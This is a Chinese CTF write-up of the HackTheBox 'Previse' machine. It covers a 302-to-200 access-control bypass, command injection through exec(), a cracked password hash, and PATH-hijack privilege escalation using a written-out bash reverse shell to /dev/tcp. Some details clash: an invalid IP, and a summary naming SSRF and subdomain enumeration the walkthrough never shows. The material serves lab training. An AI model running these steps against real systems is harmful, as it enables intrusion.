大家好,我是你们好朋友小峰。陆陆续续为大家推出CTF-Horizontall HackTheBox 系列文章。
Previse是一个CTF Linux虚拟机,在HackTheBox平台上被评为“初级”。该机器涵盖了绕过访问控制、网站命令注入、哈希破解、通过修改sudoers文件中设定根权限的脚本来升级特权。
2.1信息收集
·Nmap端口扫描工具
2.2目录列举
·使用gobuster进行目录枚举
·从旧备份中导出网站目录文件
2.3漏洞利用
·利用命令执行漏洞获取反向shell
2.4特权升级
·复制SQL数据库恢复的破解散列
·找到gzip的sudoers中运行root权限
access_backup.sh脚本
·使用自定义代码创建gzip二进制文件,将特权升级到root
kali虚拟机的专用IP地址是10.12.95.985。我们将在这台机器的IP上运行nmap扫描
nmap -A 10.129.95.185
开放端口是:
·22 端口运行 SSH
·80端口运行一个网站 (如图3.1所示)
图3.1 nmap端口扫描
通过80端口我们发现了一个网站。在检查一些页面时,必须经过账号密码登录后才能访问它。 (如图4.1所示)
图4.1 网站登录页面
然后,我们使用gobuster列举了网站上现有的PHP页面(如图4.2所示)
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --url http://10.129.95.185/ -x php
图4.2目录列取工具对目录爆破
我们发现了一个名为nav.php的页面,页面是该网站的导航页面。在同一页面上,我们发现一个创建帐户页面。(如图4.3所示)
图4.3账号注册页面
在对创建帐户页面进行小检查后,我们得出结论,所有页面都需要登录后才能访问。因此,我们利用burp suite抓包工具来查看请求,是否可以绕过登录验证。为此,我们设置代理并点击网站获取请求(如图4.4所示)
图4.4 burp抓包工具请求
拦截完以后我们发送到响应,查看一下这个请求包响应结果(如图4.5所示)
图4.5 响应页面
发现以后发现由于访问限制,我们无法访问它,并且可以看到状态代码为302。(如图4.6所示)
图4.6 异常状态码响应页面
所以我们尝试更改状态码,将此302更改为200(状态正常),并将响应转发到我们的浏览器。(如图4.7所示)
图4.7 修改状态码状态为200
通过修改状态包发现注册页面可正常访问。所以我们使用用户密码raj:123123创建了一个帐户(如图4.8所示)
图4.8 创建账户页面
然后我们重复了上述步骤。我们绕过此页面上的访问限制,以便成功注册我们的新用户。所以我们将再次拦截请求(如图4.9所示)
图4.9 抓包绕过权限控制
然后,我们也会再次拦截此请求的响应。(如图4.10所示)
图4.10 抓包绕过权限控制
由于访问控制,我们再次看到302状态(如图4.11所示)
图4.11 抓包绕过权限控制
因此,我们将此状态更改为200,并将其转发到我们的浏览器查看页面(如图4.12所示)
图4.12 修改200绕过权限控制
成功注册后,我们会看到祝贺信息。(如图4.13所示)
图4.13 注册成功
我们使用此帐户登录,可以看到一个仪表板,其中可以实现各种功能。有各种与文件相关的选项。
在文件选项卡上,我们看到一个有趣的提示。似乎这里保存了整个网站的备份。(如图5.1所示)
图5.1 下载备份文件
在下载和检查其内容时,我们看到了各种PHP文件。在源码里我们审计时发现两个有趣的文件。首先是config.php,发现它是一个数据库链接配置文件(如图5.2所示)
图5.2 数据库配置文件
这个文件里存储了MySQL密码,而另一个文件file_logs.php存在代码逻辑缺陷,存在命令命令漏洞。(如图5.3所示)
图5.3 命令注入代码缺陷
正如我们审计时发现,网站存在命令注入漏洞,因为file_logs.php文件代码未经编辑过滤的exec()函数。关联的网页显示一个下拉菜单,用于为参数“delim”选择值(如图5.4所示)
图5.4 命令注入代码缺陷
因此,我们在打burp suite中拦截请求,并在netcat输入反向shell监听,作为执行系统命令的exec()函数的附加参数。(如图5.5所示)
图5.5 命令注入执行nc命令
在我们的监听那里,我们收到了一个反向外壳。我们使用python one liner将其转换为更稳定的bash shell(如图5.6所示)
python3 -c “import pty;pty.spawn(‘/bin/bash’)”
图5.6 nc反弹shell
我们检查了本地文件系统,但没有任何有价值的东西。然后我们还记得前面获得了SQL账号密码,因此,我们登录了SQL,并存储了用户m4lwhere的密码。(如图6.1所示)
图6.1 连接mysql数据库
我们使用hashcat破解这个账户密码,并获得了密码:ilovecody112235(如图6.2所示)
hashcat -m 500 hash Desktop/rockyou.txt
图6.2 破解数据库某账号密码
我们通过获得的SSH账号密码进入此虚拟机,并检查了sudoers文件。有人指出,脚本access_backup.sh可以由用户m4l作为root运行。在检查此脚本时,我们发现正在使用gzip。(如图6.3所示)
ssh [email protected] cat user.txt sudo -l cat /opt/scripts/access_backup.sh
图6.3 查看root运行文件
因此,我们创建一个名为gzip的可执行文件,并输入bash单行反向监听。之后,我们赋予了它可执行权限,在PATH变量中添加当前目录,并在设置反向shell监听器运行脚本。(如图6.4所示)
nano gzip #!/bin/bash bash -I >& /dev/tcp/10.10.14.104/1234 0>&1 chmod +x gzip export PATH=/home/m4lwhere:$PATH sudo /opt/scripts/access_backup.sh
图6.4 编辑root权限文件
通过监听器我们看到我们已经拿到root权限shell。(如图6.5所示)
图6.5 权限提升root权限
这个渗透测试靶场虚拟中,我们涵盖了子域枚举、SSRF和基本的Python逆向工程。希望你喜欢这篇文章。
本系列准备开启国内外安全靶场渗透测试系列也欢迎大家投稿包括但不限于VulnStack、Vulnhub、HTB、自行搭建系列靶场。通过靶场快速带领大家学习红队各系列知识。
红日安全长期、短期项目招聘:Hvv、重保、安服、培训等项目
文章投稿&项目招聘邮箱:
annapeng2021@163.com
同样感谢一直在安全圈中深耕着的每一位hacker
描下方二维码,期待加入红日安全交流群:
有幸一起并肩前行,有幸一起见证着“红日”成长。在大家身上我已经收获得足够多了,是时候用实际行动向安全世界说声谢谢了。
作者:小峰
编辑:小jia
红日安全出品|转载请注明来源
海量安全课程
阅读原文 即可观看